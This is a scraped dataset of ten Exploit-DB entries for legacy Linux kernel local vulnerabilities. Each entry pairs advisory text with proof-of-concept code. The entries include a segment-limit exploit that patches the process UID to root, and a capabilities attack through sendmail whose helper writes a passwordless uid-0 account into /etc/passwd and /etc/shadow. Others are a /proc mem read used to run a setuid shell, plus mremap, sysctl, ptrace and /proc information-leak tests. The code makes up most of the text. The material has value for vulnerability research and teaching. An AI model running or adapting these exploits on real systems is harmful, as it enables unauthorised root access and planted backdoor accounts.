deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19419
Description: Linux Kernel 2.0.37 - Segment Limit Privilege Escalation
Type: local
Platform: linux
Date: 1999-07-13
Author: Solar

Exploit:
/*
source: https://www.securityfocus.com/bid/523/info

This vulnerability has to do with the division of the address space between a user process and the kernel. Because of a bug, if you select a non-standard memory configuration, sometimes user level processes may be given access upto 252Mb of memory that are really part of the kernel. This allows the process to first search for its memory descriptor and then extend it to cover the rest of the kernel memory. It can then search for a task_struct and modify it so its uid is zero (root). This vulnerability is very obscure, only works on that version of linux, and only if you select a non-standard memory configuration.


The exploit (local root, can be extended to also reset securelevel;
will only compile with libc 5, you'd have to rip task_struct out of
<linux/sched.h> for compiling with glibc):
*/


#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>

void die1()
{
        puts("\nFailed: probably not vulnerable");
        exit(1);
}

void die2()
{
        puts("\nVulnerable, but failed to exploit");
        exit(1);
}

int main()
{
        int *sp = (int *)&sp;
        int *d = sp;
        struct task_struct *task = (struct task_struct *)sp;
        int pid, uid;
        struct rlimit old, new;

        setbuf(stdout, NULL);
        printf("Searching for the descriptor... ");

        signal(SIGSEGV, die1);

        while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
                (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;

        signal(SIGSEGV, die2);

        printf("found at %p\nExtending its limit... ", d + 2);

        d[2] |= 0xF0000;

        printf("done\nSearching for task_struct... ");

        pid = getpid();
        uid = getuid();

        if (getrlimit(RLIMIT_FSIZE, &old)) {
                perror("getrlimit");
                return 1;
        }

 search:
        new = old; new.rlim_cur--;
        if (setrlimit(RLIMIT_FSIZE, &new))
                new.rlim_cur = old.rlim_cur;

        do {
                ((int *)task)++;
        } while (task->pid != pid || task->uid != uid);

        if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;

        if (setrlimit(RLIMIT_FSIZE, &old)) {
                perror("setrlimit");
                return 1;
        }

        if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;

        printf("found at %p\nPatching the UID... ", task);

        task->uid = 0;
        setuid(0);
        setgid(0);
        setgroups(0, NULL);

        puts("done");

        execl("/usr/bin/id", "id", NULL);
        return 1;
}
Exploit-DB #154
Description: Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Validator
Type: local
Platform: linux
Date: 2004-02-18
Author: Christophe Devine

Exploit:
/*
 *  Proof-of-concept exploit code for do_mremap() #2
 *
 * EDB Note: This is NOT to be confused with CVE-2003-0985 // https://www.exploit-db.com/exploits/141/, which would be "do_mremap() #1".
 * EDB Note: This will just "test" the vulnerability. A exploit version can be found here ~ https://www.exploit-db.com/exploits/160/
 *
 *
 *  Copyright (C) 2004  Christophe Devine
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */


#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>


#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2


#define MREMAP_FLAGS  MREMAP_MAYMOVE | MREMAP_FIXED


#define __NR_real_mremap __NR_mremap


static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );


#define VMA_SIZE 0x00003000


int main( void )
{
    int i, ret;
    void *base0;
    void *base1;


    i = 0;


    while( 1 )
    {
        i++;


        ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
                          VMA_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );


        if( ret == -1 )
        {
            perror( "mmap" );
            break;
        }


        base0 = base1;
        base1 = (void *) ret;
    }


    printf( "created ~%d VMAs\n", i );


    base0 += 0x1000;
    base1 += 0x1000;


    printf( "now mremapping 0x%08X at 0x%08X\n",
            (int) base1, (int) base0 );


    real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );


    printf( "kernel may not be vulnerable\n" );


    return( 0 );
}


// milw0rm.com [2004-02-18]
Exploit-DB #20626
Description: Linux Kernel 2.2.x - 'sysctl()' Memory Reading
Type: local
Platform: linux
Date: 2001-02-09
Author: Chris Evans

Exploit:
/* 
source: https://www.securityfocus.com/bid/2364/info

The Linux Kernel is the core of the Linux Operating System. It was originally written by Linus Torvalds, and is publicly maintained.

A problem in the Linux kernel may allow root compromise. The sysctl() call allows a privileged program to read or write kernel parameters. It is possible for underprivileged programs to use this system call to query values within the kernel. The system call accepts signed values, which could allow supplied negative values to reach below the threshold memory address set for system security.

This makes it possible for a user with malicious motives to browse kernel space addresses, and potentially gain elevated privileges, including administrative access.
*/

/* sysctl_exp.c - Chris Evans - February 9, 2001 */

/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);

#define BUFLEN 1000000

int
main(int argc, const char* argv[])
{
  struct __sysctl_args args_of_great_doom;

  int names[2] = { CTL_KERN, KERN_NODENAME };
  /* Minus 2 billion - somewhere close to biggest negative int */
  int dodgy_len = [PII_REDACTED];
  int fd;
  char* p_buf;

  fd = open("/dev/zero", O_RDWR);
  p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE, fd, 0);

  memset(p_buf, '\0', BUFLEN);
  fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);

  args_of_great_doom.name = names;
  args_of_great_doom.nlen = 2;
  args_of_great_doom.oldval = p_buf;
  args_of_great_doom.oldlenp = &dodgy_len;
  args_of_great_doom.newval = 0;
  args_of_great_doom.newlen = 0;

  _sysctl(&args_of_great_doom);

  fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
  write(fd, p_buf, BUFLEN);
}
Exploit-DB #20458
Description: Linux Kernel 2.2.x - Non-Readable File Ptrace Local Information Leak
Type: local
Platform: linux
Date: 2000-11-30
Author: Lamagra Argamal

Exploit:
source: https://www.securityfocus.com/bid/2044/info

Ptrace is a unix system call that is used to analyze running processes, usually for breakpoint debugging. The linux implementation of ptrace in 2.2.x kernels (and possibly earlier versions) contains a vulnerability that may allow an attacker to gain sensitive information in non-readable non-setuid executable files.

For security reasons, regular users are not allowed to ptrace setuid programs (or attach to processes running as another uid) nor are they allowed to trace processes originating from un-readable disk images (binary files). These restrictions are properly enforced in Linux ptrace when using PT_ATTACH to trace aribtrary non-children processes in memory.

When ptrace is called to trace a child process however, it does not properly check to make sure that the disk image is readable to the user. As a result, the process can be traced and its core memory examined. Information compiled into the binary that was meant to be hidden via setting it non-readable may be disclosed to an attacker.

The information obtained could be used to assist in other attacks. 

Trace on non-readable file using PT_ATTACH:

$ ls -l testfile
-rwx--x--x 1 root root 216916 Dec 4 11:59 testfile

$ ./testfile
waiting..

From another shell:

$ strace -p 11535 <---process ID of "testfile" process
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted <---Because testfile isn't readable. Good, secure behaviour

---------------

Trace on non-readable file as child process:

$ strace testfile

SYS_197(0x3, 0xbffff650, 0x40197d40, 0x80cca38, 0x3) = -1 ENOSYS (Function not implemented)
fstat(3, {st_mode=S_IFREG|0644, st_size=1744, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
..
Exploit-DB #20000
Description: Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) - Sendmail Capabilities Privilege Escalation(1)
Type: local
Platform: linux
Date: 2000-06-07
Author: Florian Heinz

Exploit:
/*
source: https://www.securityfocus.com/bid/1322/info

POSIX "Capabilities" have recently been implemented in the Linux kernel. These "Capabilities" are an additional form of privilege control to enable more specific control over what priviliged processes can do. Capabilities are implemented as three (fairly large) bitfields, which each bit representing a specific action a privileged process can perform. By setting specific bits, the actions of priviliged processes can be controlled -- access can be granted for various functions only to the specific parts of a program that require them. It is a security measure. The problem is that capabilities are copied with fork() execs, meaning that if capabilities are modified by a parent process, they can be carried over. The way that this can be exploited is by setting all of the capabilities to zero (meaning, all of the bits are off) in each of the three bitfields and then executing a setuid program that attempts to drop priviliges before executing code that could be dangerous if run as root, such as what sendmail does. When sendmail attempts to drop priviliges using setuid(getuid()), it fails not having the capabilities required to do so in its bitfields. It continues executing with superuser priviliges, and can run a users .forward file as root leading to a complete compromise. Procmail can also be exploited in this manner. 

compile these 2 and create a file "mail":

From: yomama@foobar.com
To: localuser@localdomain.com
Subject: foo
bar
.

then create a .forward with:
|/path/to/add

then just do: ./ex < mail

this should add a user yomama with uid/gid = 0 and without a password
set
a simple su - yomama should give you root.

This exploit was written by me in a hurry, I hope there are no mistakes
*/


-- snip -- ex.c --
  
#include <linux/capability.h>

int main (void) {
   cap_user_header_t header;
   cap_user_data_t data;
   
   header = malloc(8);
   data = malloc(12);
   
   header->pid = 0;
   header->version = _LINUX_CAPABILITY_VERSION;
   
   data->inheritable = data->effective = data->permitted = 0;
   capset(header, data);

   execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
}

-- snap -- ex.c --

-- snip -- add.c --

#include <fcntl.h>

int main (void) {
   int fd;
   char string[40];
   
   seteuid(0);
   fd = open("/etc/passwd", O_APPEND|O_WRONLY);
   strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
   write(fd, string, strlen(string));
   close(fd);
   fd = open("/etc/shadow", O_APPEND|O_WRONLY);
   strcpy(string, "yomama::11029:0:99999:7:::");
   write(fd, string, strlen(string));
   close(fd);
   
}

-- snap -- add.c --
Exploit-DB #21353
Description: Linux Kernel 2.2.x/2.3/2.4.x - 'd_path()' Path Truncation
Type: local
Platform: linux
Date: 2002-03-26
Author: cliph

Exploit:
/*
source: https://www.securityfocus.com/bid/4367/info

The Linux kernel d_path() function converts a dentry structure into an ASCII path name. The full path to the specified dentry is returned in a fixed length buffer of size PAGE_SIZE bytes.

Reportedly, if a dentry structure is passed with a path which would exceed this length, an erroneous value is returned. The path which is returned has leading entries truncated, and no error is reported.
*/

/*
 * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
 *
 * Bug found by cliph
 */

#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <paths.h>

/*
 *  Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for 
 *        trailing '\0' 
 */

#define PATH_COMPONENT "123456789abcdef"

void err(char * msg)
{
	if (errno) {
		perror(msg);
		exit(1);
	}
}

int main()
{
	char buf[PATH_MAX + 1]; /* think of trailing '\0' */
	int len;
	
	errno = 0;

	chdir(_PATH_TMP);
	err("chdir");
	
	/* show CWD before exploiting the bug */
	getcwd(buf, sizeof(buf));
	err("getcwd #1");
	fprintf(stderr, "CWD=%.40s\n", buf);
	
	/* creating long directory tree - it must exceed PATH_MAX characters */
	for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
		errno = 0;
		mkdir(PATH_COMPONENT, 0700);
		if (errno != EEXIST)
			err("mkdir");
		errno = 0;
		chdir(PATH_COMPONENT);
		err("mkdir");
	}

	/* show CWD before exploiting the bug */
	getcwd(buf, sizeof(buf));
	err("getcwd #1");
	fprintf(stderr, "CWD=%.40s... [stripped]\n", buf);
	
	return 0;
}
Exploit-DB #22813
Description: Linux Kernel 2.2.x/2.4.x - '/proc' Filesystem Information Disclosure
Type: local
Platform: linux
Date: 2003-06-20
Author: IhaQueR

Exploit:
/* 
source: https://www.securityfocus.com/bid/8002/info

A potential information disclosure vulnerability has been reported for the Linux /proc filesystem, specifically when invoking setuid applications. As a result, an unprivileged user may be able to read the contents of a setuid application's environment data. This could potentially, although unlikely, result in the disclosure of sensitive information, such as restricted file path information. 
*/

/****************************************************************
*                                                               *
*       Linux /proc information disclosure PoC                  *
*       by IhaQueR                                              *
*                                                               *
****************************************************************/



#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>



static char buf[128];



void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
        fprintf(stderr, "FATAL: %s\n", msg);
    } else {
        perror(msg);
    }

    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


int main()
{
    int fd, r;
    char c;

    sprintf(buf, "/proc/%d/environ", getpid());
    fd = open(buf, O_RDONLY);
    if (fd > 0) {
        sprintf(buf, "/proc/%d", getpid());
        if (fork()) {
            printf("\nparent executing setuid\n");
            fflush(stdout);
            execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
            fatal("execl");
        } else {
            sleep(1);
            printf("\nchild reads parent's proc:\n");
            fflush(stdout);
            while (1) {
                r = read(fd, &c, 1);
                if (r <= 0)
                    break;
                printf("%c", c);
            }
            printf("\n\nContent of %s\n", buf);
            fflush(stdout);
            execl("/bin/ls", "ls", "-l", buf, NULL);
        }
    } else
        fatal("open proc");

    printf("\n");
    fflush(stdout);

    return 0;
}
Exploit-DB #20979
Description: Linux Kernel 2.2/2.4 - procfs Stream redirection to Process Memory Privilege Escalation
Type: local
Platform: linux
Date: 2001-06-27
Author: zen-parse

Exploit:
/*
source: https://www.securityfocus.com/bid/2937/info

The Linux /proc filesystem is a virtual filesystem provided by the Linux Kernel as an interface to some process and system information and parameters.

Under certain circumstances, an access validation error may exist in the handling of process-specific 'mem' files. The problem occurs when a process re-opens the standard input stream for reading from it's associated 'mem' file prior to executing another program using the exec() family of functions.

This could have serious ramifications in some situations if an attacker were to reposition the read offset of the file to an arbitrary location prior to executing a setuid program that obtains data from stdin. 
*/

/**********************************************
** vuln-prog.c - chown root:root, chmod u+s **
**********************************************/

char *password, *input;
main(int argc,char*argv[])
{
int fd,count;
if(0>(fd=open("/dev/urandom",0)))exit(1);//check for resource starvation
password=(char*)malloc(17);
read(fd,password,16);
if(close(fd))exit(1);
password[16]=0;
input=(char*)malloc(17);
for(count=0;count<16;count++)input[count]=getchar();
input[count]=0;
for(count=0;count<16;count++)if(input[count]!=password[count])exit(1);
setreuid(0,0);
execl("/bin/bash","sh","-c",argv[1],0);
}

EOF

exploit:-

/* spew.c */
#include <stdio.h>
/* to get the address, ltrace a copy of the program as a normal user,
or brute force it over the expected range. */

#define WHERETOREAD [the address malloced for password by vuln-prog]
// use ltrace on a non setuid copy of the program, or bruteforce it.
main()
{
char y[1000];
FILE *f;
int p;
p=getpid();
sprintf(y,"/proc/%d/mem",p);
close(0);
f=fopen(y,"r");
fseek(f,WHERETOREAD,SEEK_SET);
execl("/tmp/vuln-prog","scary","/tmp/myscript",0);
}
Exploit-DB #21124
Description: Linux Kernel 2.2/2.4 - Ptrace/Setuid Exec Privilege Escalation
Type: local
Platform: linux
Date: 2001-10-18
Author: Rafal Wojtczuk

Exploit:
source: https://www.securityfocus.com/bid/3447/info

Linux contains a vulnerability in it's exec() implementation that may allow for modification of setuid process memory via ptrace(). The vulnerability is due to the fact that it is possible for a traced process to exec() a setuid image if the tracing process is setuid.

Attackers can exploit this to elevate privileges.

Note: There are currently conflicting reports about the exploitability of this vulnerability.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21124.tgz
Exploit-DB #9844
Description: Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)
Type: local
Platform: linux
Date: 2009-11-05
Author: Matthew Bergin

Exploit:
# This is a PoC based off the PoC release by Earl Chew (Updated by Brian Peters)
# Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability
# PoC by Matthew Bergin
# Bugtraq ID:       36901
#
# E-DB Note: Exploit Update v2 ~ https://github.com/offensive-security/exploitdb/pull/82/files

import os
import time
import random
import subprocess
#infinite loop
i = 0
x = 0
while (i == 0):
        os.system("sleep 1")
        while (x == 0):
                time.sleep(random.random()) #random int 0.0-1.0
                p = subprocess.Popen(["ps -elf | grep 'sleep 1' | grep -v 'grep' | awk '{print $4}'"], stdout=subprocess.PIPE, shell=True)
		result = p.stdout.read()
		pid = result.replace('\n', '').replace('\r', '')
                if (pid == "0"): #need an active pid, race condition applies
                        print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
                        break
                else:
                        print "[+] PID: " + pid
                        loc = "echo n > /proc/" + pid + "/fd/1"
                        os.system(loc) # triggers the fault, runs via sh
Exploit-DB #141
Description: Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Validator (1)
Type: local
Platform: linux
Date: 2004-01-06
Author: Christophe Devine

Exploit:
/*
 *  EDB Note: This will just "test" the vulnerability. 
*   EDB Note: An exploit version can be found here ~ https://www.exploit-db.com/exploits/145/
*/

/*
 *  Proof-of-concept exploit code for do_mremap()
 *
 *  Copyright (C) 2004  Christophe Devine and Julien Tinnes
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

int main( void )
{
    void *base;

    base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
                 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

    real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
                 (void *) 0xC0000000 );

    fork();

    return( 0 );
}

// milw0rm.com [2004-01-06]